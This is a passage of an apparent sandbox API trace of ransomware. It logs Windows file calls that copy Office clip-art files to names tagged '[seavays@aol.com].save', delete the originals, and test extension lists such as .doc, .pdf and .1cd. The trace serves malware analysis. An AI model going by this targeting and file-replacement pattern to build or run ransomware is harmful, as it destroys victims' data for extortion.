0x534 [0176.187] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.187] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.188] GetLastError () returned 0x0 [0176.188] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x6890, lpOverlapped=0x0) returned 1 [0176.190] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x68a0, lpOverlapped=0x0) returned 1 [0176.191] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.192] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.192] SetEndOfFile (hFile=0x370) returned 1 [0176.192] CloseHandle (hObject=0x370) returned 1 [0176.192] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.192] SetEndOfFile (hFile=0x534) returned 1 [0176.195] CloseHandle (hObject=0x534) returned 1 [0176.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0176.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.197] lstrlenW (lpString=".doc") returned 4 [0176.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString=".docx") returned 5 [0176.197] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.197] lstrlenW (lpString=".pdf") returned 4 [0176.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString=".xls") returned 4 [0176.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.197] lstrlenW (lpString=".xlsx") returned 5 [0176.197] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.197] lstrlenW (lpString=".ppt") returned 4 [0176.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.197] lstrlenW (lpString=".zip") returned 4 [0176.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.197] lstrlenW (lpString=".rar") returned 4 [0176.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString=".bz2") returned 4 [0176.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString=".7z") returned 3 [0176.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.197] lstrlenW (lpString=".dbf") returned 4 [0176.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.197] lstrlenW (lpString=".1cd") returned 4 [0176.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.197] lstrlenW (lpString=".jpg") returned 4 [0176.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.198] lstrlenW (lpString=".doc") returned 4 [0176.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString=".docx") returned 5 [0176.198] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.198] lstrlenW (lpString=".pdf") returned 4 [0176.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString=".xls") returned 4 [0176.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.198] lstrlenW (lpString=".xlsx") returned 5 [0176.198] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.198] lstrlenW (lpString=".ppt") returned 4 [0176.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.198] lstrlenW (lpString=".zip") returned 4 [0176.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.198] lstrlenW (lpString=".rar") returned 4 [0176.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString=".bz2") returned 4 [0176.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.198] lstrlenW (lpString=".7z") returned 3 [0176.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.199] lstrlenW (lpString=".dbf") returned 4 [0176.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.199] lstrlenW (lpString=".1cd") returned 4 [0176.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0176.199] lstrlenW (lpString=".jpg") returned 4 [0176.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.199] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.199] lstrlenW (lpString="J0107658.WMF") returned 12 [0176.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.201] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7072) returned 1 [0176.201] CloseHandle (hObject=0x534) returned 1 [0176.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0176.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.201] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.201] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.202] GetLastError () returned 0x0 [0176.202] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0176.256] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0176.257] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.257] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.258] SetEndOfFile (hFile=0x370) returned 1 [0176.567] CloseHandle (hObject=0x370) returned 1 [0176.568] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.568] SetEndOfFile (hFile=0x534) returned 1 [0176.571] CloseHandle (hObject=0x534) returned 1 [0176.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0176.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.572] lstrlenW (lpString=".doc") returned 4 [0176.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.572] lstrlenW (lpString=".docx") returned 5 [0176.572] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.572] lstrlenW (lpString=".pdf") returned 4 [0176.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.572] lstrlenW (lpString=".xls") returned 4 [0176.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.572] lstrlenW (lpString=".xlsx") returned 5 [0176.572] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.573] lstrlenW (lpString=".ppt") returned 4 [0176.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString=".zip") returned 4 [0176.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.573] lstrlenW (lpString=".rar") returned 4 [0176.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString=".bz2") returned 4 [0176.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString=".7z") returned 3 [0176.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString=".dbf") returned 4 [0176.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString=".1cd") returned 4 [0176.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString=".jpg") returned 4 [0176.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.573] lstrlenW (lpString=".doc") returned 4 [0176.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString=".docx") returned 5 [0176.573] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.573] lstrlenW (lpString=".pdf") returned 4 [0176.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.573] lstrlenW (lpString=".xls") returned 4 [0176.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.574] lstrlenW (lpString=".xlsx") returned 5 [0176.574] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.574] lstrlenW (lpString=".ppt") returned 4 [0176.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.574] lstrlenW (lpString=".zip") returned 4 [0176.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.574] lstrlenW (lpString=".rar") returned 4 [0176.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.574] lstrlenW (lpString=".bz2") returned 4 [0176.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.574] lstrlenW (lpString=".7z") returned 3 [0176.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.574] lstrlenW (lpString=".dbf") returned 4 [0176.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.574] lstrlenW (lpString=".1cd") returned 4 [0176.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0176.574] lstrlenW (lpString=".jpg") returned 4 [0176.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.574] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.575] lstrlenW (lpString="J0107724.WMF") returned 12 [0176.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.576] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7016) returned 1 [0176.576] CloseHandle (hObject=0x534) returned 1 [0176.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0176.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.577] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.578] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.579] GetLastError () returned 0x0 [0176.579] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1b68, lpOverlapped=0x0) returned 1 [0176.581] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0176.582] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.582] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.592] SetEndOfFile (hFile=0x370) returned 1 [0176.593] CloseHandle (hObject=0x370) returned 1 [0176.593] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.593] SetEndOfFile (hFile=0x534) returned 1 [0176.595] CloseHandle (hObject=0x534) returned 1 [0176.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString=".doc") returned 4 [0176.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString=".docx") returned 5 [0176.597] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.597] lstrlenW (lpString=".pdf") returned 4 [0176.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString=".xls") returned 4 [0176.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.597] lstrlenW (lpString=".xlsx") returned 5 [0176.597] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.597] lstrlenW (lpString=".ppt") returned 4 [0176.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString=".zip") returned 4 [0176.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.597] lstrlenW (lpString=".rar") returned 4 [0176.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString=".bz2") returned 4 [0176.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString=".7z") returned 3 [0176.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString=".dbf") returned 4 [0176.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString=".1cd") returned 4 [0176.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.597] lstrlenW (lpString=".jpg") returned 4 [0176.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.598] lstrlenW (lpString=".doc") returned 4 [0176.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString=".docx") returned 5 [0176.598] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.598] lstrlenW (lpString=".pdf") returned 4 [0176.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString=".xls") returned 4 [0176.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.598] lstrlenW (lpString=".xlsx") returned 5 [0176.598] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.598] lstrlenW (lpString=".ppt") returned 4 [0176.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.598] lstrlenW (lpString=".zip") returned 4 [0176.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.598] lstrlenW (lpString=".rar") returned 4 [0176.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString=".bz2") returned 4 [0176.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.598] lstrlenW (lpString=".7z") returned 3 [0176.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.648] lstrlenW (lpString=".dbf") returned 4 [0176.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.648] lstrlenW (lpString=".1cd") returned 4 [0176.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0176.648] lstrlenW (lpString=".jpg") returned 4 [0176.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.648] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.648] lstrlenW (lpString="J0107728.WMF") returned 12 [0176.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.649] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5492) returned 1 [0176.649] CloseHandle (hObject=0x534) returned 1 [0176.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0176.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.650] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.650] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 